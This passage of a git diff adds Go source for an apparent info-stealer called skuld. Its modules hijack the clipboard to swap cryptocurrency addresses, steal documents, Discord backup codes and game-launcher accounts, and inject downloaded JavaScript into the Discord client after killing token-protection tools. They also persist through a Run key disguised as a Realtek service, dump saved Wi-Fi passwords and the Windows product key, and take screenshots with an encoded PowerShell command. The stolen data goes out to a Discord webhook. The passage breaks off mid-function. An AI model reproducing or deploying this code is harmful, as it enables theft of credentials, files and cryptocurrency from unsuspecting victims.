cryptocurrency addresses and replaces them with the given address. +// The supported cryptocurrencies are BTC, BCH, ETH, XMR, LTC, XCH, XLM, TRX, ADA, DASH, and DOGE. +func Run(cryptos map[string]string) { + var regexs = map[string]*regexp.Regexp{ + "BTC": regexp.MustCompile("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"), + "BCH": regexp.MustCompile("^((bitcoincash:)?(q|p)[a-z0-9]{41})"), + "ETH": regexp.MustCompile("^0x[a-fA-F0-9]{40}$"), + "XMR": regexp.MustCompile("^4([0-9]|[A-B])(.){93}$"), + "LTC": regexp.MustCompile("^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"), + "XCH": regexp.MustCompile("^xch1[a-zA-HJ-NP-Z0-9]{58}$"), + "XLM": regexp.MustCompile("^G[0-9a-zA-Z]{55}$"), + "TRX": regexp.MustCompile("^T[A-Za-z1-9]{33}$"), + "ADA": regexp.MustCompile("addr1[a-z0-9]+"), + "DASH": regexp.MustCompile("^X[1-9A-HJ-NP-Za-km-z]{33}$"), + "DOGE": regexp.MustCompile("^(D|A|9)[a-km-zA-HJ-NP-Z1-9]{33}$"), + } + + + for data := range clipboard.Watch(context.TODO(), clipboard.FmtText) { + for crypto, regex := range regexs { + if regex.Match(data) && regex.MatchString(cryptos[crypto]) { + clipboard.Write(clipboard.FmtText, []byte(cryptos[crypto])) + } + } + } +} diff --git a/modules/commonfiles/commonfiles.go b/modules/commonfiles/commonfiles.go new file mode 100644 index 0000000..78eed9c --- /dev/null +++ b/modules/commonfiles/commonfiles.go @@ -0,0 +1,182 @@ +package commonfiles + +import ( + "fmt" + "math/rand" + "os" + + "path/filepath" + "strings" + + "github.com/hackirby/skuld/utils/fileutil" + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" +) + +func Run(webhook string) { + tempDir := filepath.Join(os.TempDir(), "commonfiles-temp") + os.MkdirAll(tempDir, os.ModePerm) + defer os.RemoveAll(tempDir) + + extensions := []string{ + ".txt", + ".log", + ".doc", + ".docx", + ".xls", + ".xlsx", + ".ppt", + ".pptx", + ".odt", + ".pdf", + ".rtf", + ".json", + ".csv", + ".db", + ".jpg", + ".jpeg", + ".png", + ".gif", + ".webp", + ".mp4", + } + keywords := []string{ + "account", + "password", + "secret", + "mdp", + "motdepass", + "mot_de_pass", + "login", + "paypal", + "banque", + "seed", + "banque", + "bancaire", + "bank", + "metamask", + "wallet", + "crypto", + "exodus", + "atomic", + "auth", + "mfa", + "2fa", + "code", + "memo", + "compte", + "token", + "password", + "credit", + "card", + "mail", + "address", + "phone", + "permis", + "number", + "backup", + "database", + "config", + } + + found := 0 + for _, user := range hardware.GetUsers() { + for _, dir := range []string{ + filepath.Join(user, "Desktop"), + filepath.Join(user, "Downloads"), + filepath.Join(user, "Documents"), + filepath.Join(user, "Videos"), + filepath.Join(user, "Pictures"), + filepath.Join(user, "Music"), + filepath.Join(user, "OneDrive"), + } { + if _, err := os.Stat(dir); err != nil { + continue + } + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if info.IsDir() { + return nil + } + if info.Size() > 2*1024*1024 { + return nil + } + for _, keyword := range keywords { + if !strings.Contains(strings.ToLower(info.Name()), keyword) { + continue + } + for _, extension := range extensions { + if !strings.HasSuffix(strings.ToLower(info.Name()), extension) { + continue + } + dest := filepath.Join(tempDir, strings.Split(user, "\\")[2], info.Name()) + if fileutil.Exists(dest) { + dest = filepath.Join(tempDir, strings.Split(user, "\\")[2], fmt.Sprintf("%s_%s", info.Name(), randString(4))) + } + os.MkdirAll(filepath.Join(tempDir, strings.Split(user, "\\")[2]), os.ModePerm) + + err := fileutil.CopyFile(path, dest) + if err != nil { + continue + } + break + } + found++ + break + } + return nil + }) + } + } + + if found == 0 { + return + } + + tempZip := filepath.Join(os.TempDir(), "commonfiles.zip") + password := randString(16) + fileutil.ZipWithPassword(tempDir, tempZip, password) + defer os.Remove(tempZip) + + link, err := requests.Upload(tempZip) + if err != nil { + return + } + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{ + { + "title": "Files Stealer", + "description": "```" + fileutil.Tree(tempDir, "") + "```", + "fields": []map[string]interface{}{ + { + "name": "Archive Link", + "value": "[Download here](" + link + ")", + "inline": true, + }, + { + "name": "Archive Password", + "value": "`" + password + "`", + "inline": true, + }, + { + "name": "Files Found", + "value": fmt.Sprintf("`%d`", found), + "inline": true, + }, + }, + }, + }, + }) +} + +func randString(n int) string { + var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + b := make([]rune, n) + for i := range b { + b[i] = letters[rand.Intn(len(letters))] + } + return string(b) +} diff --git a/modules/discodes/discodes.go b/modules/discodes/discodes.go new file mode 100644 index 0000000..34eac4f --- /dev/null +++ b/modules/discodes/discodes.go @@ -0,0 +1,56 @@ +package discodes + +import ( + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" + "os" + "path/filepath" + "strings" +) + +func Run(webhook string) { + for _, user := range hardware.GetUsers() { + for _, dir := range []string{ + filepath.Join(user, "Desktop"), + filepath.Join(user, "Downloads"), + filepath.Join(user, "Documents"), + filepath.Join(user, "Videos"), + filepath.Join(user, "Pictures"), + filepath.Join(user, "Music"), + filepath.Join(user, "OneDrive"), + } { + if _, err := os.Stat(dir); err != nil { + continue + } + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if info.IsDir() { + return nil + } + if info.Size() > 2*1024*1024 { + return nil + } + if !strings.HasPrefix(info.Name(), "discord_backup_codes") { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + requests.Webhook(webhook, map[string]interface{}{ + "content": "`" + path + "`", + "embeds": []map[string]interface{}{ + { + "title": "Discord Backup Codes", + "description": "```" + string(data) + "```", + }, + }, + }) + return nil + }) + } + } +} diff --git a/modules/discordinjection/._injection.go b/modules/discordinjection/._injection.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/discordinjection/injection.go b/modules/discordinjection/injection.go new file mode 100644 index 0000000..cf20a7a --- /dev/null +++ b/modules/discordinjection/injection.go @@ -0,0 +1,169 @@ +package discordinjection + +import ( + "bufio" + "bytes" + "errors" + "io" + "net/http" + "os" + "path/filepath" + "strings" + + "golang.org/x/text/encoding/charmap" + + "encoding/json" + + "github.com/hackirby/skuld/utils/hardware" + "github.com/shirou/gopsutil/v3/process" +) + +func Run(injection_url string, webhook string) { + for _, user := range hardware.GetUsers() { + BypassBetterDiscord(user) + BypassTokenProtector(user) + for _, dir := range []string{ + filepath.Join(user, "AppData", "Local", "discord"), + filepath.Join(user, "AppData", "Local", "discordcanary"), + filepath.Join(user, "AppData", "Local", "discordptb"), + filepath.Join(user, "AppData", "Local", "discorddevelopment"), + } { + InjectDiscord(dir, injection_url, webhook) + } + } +} + +func InjectDiscord(dir string, injection_url string, webhook string) error { + files, err := filepath.Glob(filepath.Join(dir, "app-*", "modules", "discord_desktop_core-*", "discord_desktop_core")) + if err != nil { + return err + } + if len(files) == 0 { + return errors.New("no discord_desktop_core found") + } + + core := files[0] + + os.MkdirAll(filepath.Join(core, "initiation"), os.ModePerm) + + resp, err := http.Get(injection_url) + if err != nil { + return err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return err + } + + if !bytes.Contains(body, []byte("core.asar")) { + return errors.New("core.asar not in body") + } + + body = bytes.Replace(body, []byte("%WEBHOOK%"), []byte(webhook), 1) + + err = os.WriteFile(filepath.Join(core, "index.js"), body, 0644) + if err != nil { + return err + } + + return nil +} + +func BypassBetterDiscord(user string) error { + bd := filepath.Join(user, "AppData", "Roaming", "BetterDiscord", "data", "betterdiscord.asar") + f, err := os.Open(bd) + if err != nil { + return err + } + defer f.Close() + + r := bufio.NewReader(f) + decoder := charmap.CodePage437.NewDecoder() + decodedReader := decoder.Reader(r) + + txt, err := io.ReadAll(decodedReader) + if err != nil { + return err + } + + f, err = os.Create(bd) + if err != nil { + return err + } + defer f.Close() + + w := bufio.NewWriter(f) + encoder := charmap.CodePage437.NewEncoder() + encodedWriter := encoder.Writer(w) + + if _, err = encodedWriter.Write(bytes.ReplaceAll(txt, []byte("api/webhooks"), []byte("ByHackirby"))); err != nil { + return err + } + if err = w.Flush(); err != nil { + return err + } + + return nil +} + +func BypassTokenProtector(user string) error { + path := filepath.Join(user, "AppData", "Roaming", "DiscordTokenProtector") + config := path + "\\config.json" + + processes, _ := process.Processes() + + for _, p := range processes { + name, _ := p.Name() + if strings.Contains(strings.ToLower(name), "discordtokenprotector") { + p.Kill() + } + } + + for _, i := range []string{"DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"} { + _ = os.Remove(path + "\\" + i) + } + if _, err := os.Stat(config); os.IsNotExist(err) { + return nil + } + + file, err := os.Open(config) + if err != nil { + return err + } + defer file.Close() + + var item map[string]interface{} + if err := json.NewDecoder(file).Decode(&item); err != nil { + return err + } + item["auto_start"] = false + item["auto_start_discord"] = false + item["integrity"] = false + item["integrity_allowbetterdiscord"] = false + item["integrity_checkexecutable"] = false + item["integrity_checkhash"] = false + item["integrity_checkmodule"] = false + item["integrity_checkscripts"] = false + item["integrity_checkresource"] = false + item["integrity_redownloadhashes"] = false + item["iterations_iv"] = 364 + item["iterations_key"] = 457 + item["version"] = 69420 + + file, err = os.Create(config) + if err != nil { + return err + } + defer file.Close() + + encoder := json.NewEncoder(file) + encoder.SetIndent("", " ") + encoder.SetEscapeHTML(false) + if err := encoder.Encode(&item); err != nil { + return err + } + + return nil +} diff --git a/modules/fakeerror/fakeerror.go b/modules/fakeerror/fakeerror.go new file mode 100644 index 0000000..87c5f6b --- /dev/null +++ b/modules/fakeerror/fakeerror.go @@ -0,0 +1,13 @@ +package fakeerror + +import ( + "syscall" + "unsafe" +) + +func Run() { + var title, text *uint16 + title, _ = syscall.UTF16PtrFromString("Fatal Error") + text, _ = syscall.UTF16PtrFromString("Error code: Windows_0x988958\nSomething gone wrong.") + syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(0, uintptr(unsafe.Pointer(text)), uintptr(unsafe.Pointer(title)), 0) +} diff --git a/modules/games/games.go b/modules/games/games.go new file mode 100644 index 0000000..b48abe5 --- /dev/null +++ b/modules/games/games.go @@ -0,0 +1,129 @@ +package games + +import ( + "fmt" + "github.com/hackirby/skuld/utils/fileutil" + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" + "os" + "path/filepath" + "strings" +) + +func Run(webhook string) { + for _, user := range hardware.GetUsers() { + paths := map[string]map[string]string{ + "Epic Games": { + "Settings": filepath.Join(user, "AppData", "Local", "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"), + }, + "Minecraft": { + "Intent": filepath.Join(user, "intentlauncher", "launcherconfig"), + "Lunar": filepath.Join(user, ".lunarclient", "settings", "game", "accounts.json"), + "TLauncher": filepath.Join(user, "AppData", "Roaming", ".minecraft", "TlauncherProfiles.json"), + "Feather": filepath.Join(user, "AppData", "Roaming", ".feather", "accounts.json"), + "Meteor": filepath.Join(user, "AppData", "Roaming", ".minecraft", "meteor-client", "accounts.nbt"), + "Impact": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Impact", "alts.json"), + "Novoline": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Novoline", "alts.novo"), + "CheatBreakers": filepath.Join(user, "AppData", "Roaming", ".minecraft", "cheatbreaker_accounts.json"), + "Microsoft Store": filepath.Join(user, "AppData", "Roaming", ".minecraft", "launcher_accounts_microsoft_store.json"), + "Rise": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Rise", "alts.txt"), + "Rise (Intent)": filepath.Join(user, "intentlauncher", "Rise", "alts.txt"), + "Paladium": filepath.Join(user, "AppData", "Roaming", "paladium-group", "accounts.json"), + "PolyMC": filepath.Join(user, "AppData", "Roaming", "PolyMC", "accounts.json"), + "Badlion": filepath.Join(user, "AppData", "Roaming", "Badlion Client", "accounts.json"), + }, + "Riot Games": { + "Config": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Config"), + "Data": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Data"), + "Logs": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Logs"), + }, + "Uplay": { + "Settings": filepath.Join(user, "AppData", "Local", "Ubisoft Game Launcher"), + }, + "NationsGlory": { + "Local Storage": filepath.Join(user, "AppData", "Roaming", "NationsGlory", "Local Storage", "leveldb"), + }, + } + + tempDir := filepath.Join(os.TempDir(), fmt.Sprintf("games-%s", strings.Split(user, "\\")[2])) + found := "" + for name, path := range paths { + dest := filepath.Join(tempDir, strings.Split(user, "\\")[2], name) + + if err := os.MkdirAll(dest, os.ModePerm); err != nil { + continue + } + + var err error + + for fName, fPath := range path { + if filepath.Ext(fPath) != "" { + os.MkdirAll(filepath.Join(dest, fName), os.ModePerm) + err = fileutil.CopyFile(fPath, filepath.Join(dest, fName, filepath.Base(fPath))) + } else { + err = fileutil.CopyDir(fPath, filepath.Join(dest, fName)) + } + + if err != nil { + continue + } + + if !strings.Contains(found, name) { + found += fmt.Sprintf("\nāœ… %s ", name) + } + } + + } + + if found == "" { + os.RemoveAll(tempDir) + continue + } + + tempZip := filepath.Join(os.TempDir(), "games.zip") + + if err := fileutil.Zip(tempDir, tempZip); err != nil { + os.RemoveAll(tempDir) + continue + } + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{ + { + "title": "Games Stealer - " + strings.Split(user, "\\")[2], + "description": "```" + found + "```", + }, + }, + }, tempZip) + + os.RemoveAll(tempDir) + os.Remove(tempZip) + } + + tempDir := fmt.Sprintf("%s\\%s", os.TempDir(), "steam-temp") + defer os.RemoveAll(tempDir) + + path := "C:\\Program Files (x86)\\Steam\\config" + if !fileutil.IsDir(path) { + return + } + + if err := fileutil.CopyDir(path, tempDir); err != nil { + return + } + + tempZip := filepath.Join(os.TempDir(), "steam.zip") + if err := fileutil.Zip(tempDir, tempZip); err != nil { + return + } + defer os.Remove(tempZip) + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{ + { + "title": "Steam", + "description": "`āœ…āœ…āœ…`", + }, + }, + }, tempZip) +} diff --git a/modules/hideconsole/hideconsole.go b/modules/hideconsole/hideconsole.go new file mode 100644 index 0000000..5295aad --- /dev/null +++ b/modules/hideconsole/hideconsole.go @@ -0,0 +1,12 @@ +package hideconsole + +import ( + "syscall" +) + +func Run() { + getWin := syscall.NewLazyDLL("kernel32.dll").NewProc("GetConsoleWindow") + showWin := syscall.NewLazyDLL("user32.dll").NewProc("ShowWindow") + hwnd, _, _ := getWin.Call() + _, _, _ = showWin.Call(hwnd, 0) +} diff --git a/modules/startup/._startup.go b/modules/startup/._startup.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/startup/startup.go b/modules/startup/startup.go new file mode 100644 index 0000000..f902754 --- /dev/null +++ b/modules/startup/startup.go @@ -0,0 +1,44 @@ +package startup + +import ( + "golang.org/x/sys/windows/registry" + "os" + "os/exec" + + "github.com/hackirby/skuld/utils/fileutil" +) + +func Run() error { + exe, err := os.Executable() + if err != nil { + return err + } + + key, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS) + if err != nil { + return err + } + + defer key.Close() + + path := os.Getenv("APPDATA") + "\\Microsoft\\Protect\\SecurityHealthSystray.exe" + + err = key.SetStringValue("Realtek HD Audio Universal Service", path) + if err != nil { + return err + } + + if fileutil.Exists(path) { + err = os.Remove(path) + if err != nil { + return err + } + } + + err = fileutil.CopyFile(exe, path) + if err != nil { + return err + } + + return exec.Command("attrib", "+h", "+s", path).Run() +} diff --git a/modules/system/._system.go b/modules/system/._system.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/system/system.go b/modules/system/system.go new file mode 100644 index 0000000..692a1e6 --- /dev/null +++ b/modules/system/system.go @@ -0,0 +1,263 @@ +package system + +import ( + "encoding/json" + "fmt" + "math/rand" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + + "github.com/shirou/gopsutil/v3/disk" + "github.com/shirou/gopsutil/v3/mem" + "golang.org/x/sys/windows/registry" + + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" +) + +func GetOS() string { + cmd := exec.Command("wmic", "os", "get", "Caption") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + return "Not Found" + } + return strings.TrimSpace(strings.Split(string(out), "\n")[1]) +} + +func GetCPU() string { + cmd := exec.Command("wmic", "cpu", "get", "Name") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + return "Not Found" + } + + return strings.TrimSpace(strings.Split(string(out), "\n")[1]) +} + +func GetGPU() string { + cmd := exec.Command("wmic", "path", "win32_VideoController", "get", "name") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + return "Not Found" + } + return strings.TrimSpace(strings.Split(string(out), "\n")[1]) +} + +func GetRAM() string { + virtualMemory, err := mem.VirtualMemory() + if err != nil { + return "Not Found" + } + return fmt.Sprintf("%.2f GB", float64(virtualMemory.Total)/(1024*1024*1024)) +} + +func GetMAC() string { + mac, err := hardware.GetMAC() + if err != nil { + return "Not Found" + } + + return mac +} + +func GetHWID() string { + hwid, err := hardware.GetHWID() + if err != nil { + return "Not Found" + } + + return hwid +} + +func GetProductKey() string { + key, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform`, registry.QUERY_VALUE) + if err != nil { + return "Not Found" + } + + defer key.Close() + + value, _, err := key.GetStringValue("BackupProductKeyDefault") + if err != nil { + return "Not Found" + } + + return value +} + +func GetDisks() string { + disks, err := disk.Partitions(false) + if err != nil { + return "Not Found" + } + var output string + for _, part := range disks { + usage, err := disk.Usage(part.Mountpoint) + if err != nil { + continue + } + output += fmt.Sprintf("%-9s %-9s %-9s %-9s\n", part.Device, strconv.Itoa(int(usage.Free/1024/1024/1024))+"GB", strconv.Itoa(int(usage.Total/1024/1024/1024))+"GB", strconv.Itoa(int(usage.UsedPercent))+"%") + } + + if output == "" { + return "Not Found" + } + + return fmt.Sprintf("%-9s %-9s %-9s %-9s\n%s", "Drive", "Free", "Total", "Use", output) +} + +func GetNetwork() string { + res, err := requests.Get("http://ip-api.com/json") + + if err != nil { + return "Not Found" + } + + var data struct { + Country string `json:"country"` + RegionName string `json:"regionName"` + City string `json:"city"` + Zip string `json:"zip"` + Lat float64 `json:"lat"` + Lon float64 `json:"lon"` + Isp string `json:"isp"` + As string `json:"as"` + IP string `json:"query"` + } + if err = json.Unmarshal(res, &data); err != nil { + return "Not Found" + } + + return fmt.Sprintf("IP: %s\nCountry: %s\nRegion: %s\nPostal: %s\nCity: %s\nISP: %s\nAS: %s\nLatitude: %f\nLongitude: %f", data.IP, data.Country, data.RegionName, data.Zip, data.City, data.Isp, data.As, data.Lat, data.Lon) +} + +func GetWifi() string { + cmd := exec.Command("netsh", "wlan", "show", "profiles") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + return "Not Found" + } + + var networks []string + for _, line := range strings.Split(string(out), "\n") { + if strings.Contains(line, "All User Profile") { + networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1]) + } + if strings.Contains(line, "Tous les utilisateurs") { + networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1]) + } + } + + var output string + for _, network := range networks { + cmd := exec.Command("netsh", "wlan", "show", "profile", network, "key=clear") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + continue + } + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "Key Content") { + output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1])) + } + if strings.Contains(line, "Contenu de la") { + output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1])) + } + } + } + + if output == "" { + return "Not Found" + } + + return fmt.Sprintf("%-20s %-20s\n%s", "Network", "Password", output) +} + +func randString(n int) string { + var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + var b strings.Builder + for i := 0; i < n; i++ { + b.WriteRune(letters[rand.Intn(len(letters))]) + } + return b.String() +} + +func GetScreens() []string { + dir := filepath.Join(os.TempDir(), randString(10)) + os.Mkdir(dir, os.ModePerm) + + cmd := exec.Command("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-EncodedCommand", "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + cmd.Dir = dir + cmd.Run() + + files, err := os.ReadDir(dir) + if err != nil { + return nil + } + + var filepaths []string + for _, file := range files { + filepaths = append(filepaths, filepath.Join(dir, file.Name())) + } + + return filepaths +} + +func Run(webhook string) { + users := strings.Join(hardware.GetUsers(), "\n") + if len(users) > 4096 { + users = "Too many users to display" + } + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{ + { + "title": "System Information", + "fields": []map[string]interface{}{ + { + "name": "User", + "value": fmt.Sprintf("```Username: %s\nHostname: %s\n```", os.Getenv("USERNAME"), os.Getenv("COMPUTERNAME")), + }, + { + "name": "System", + "value": fmt.Sprintf("```OS: %s\nCPU: %s\nGPU: %s\nRAM: %s\nMAC: %s\nHWID: %s\nProduct Key: %s```", GetOS(), GetCPU(), GetGPU(), GetRAM(), GetMAC(), GetHWID(), GetProductKey()), + }, + { + "name": "Disks", + "value": fmt.Sprintf("```%s```", GetDisks()), + }, + { + "name": "Network", + "value": 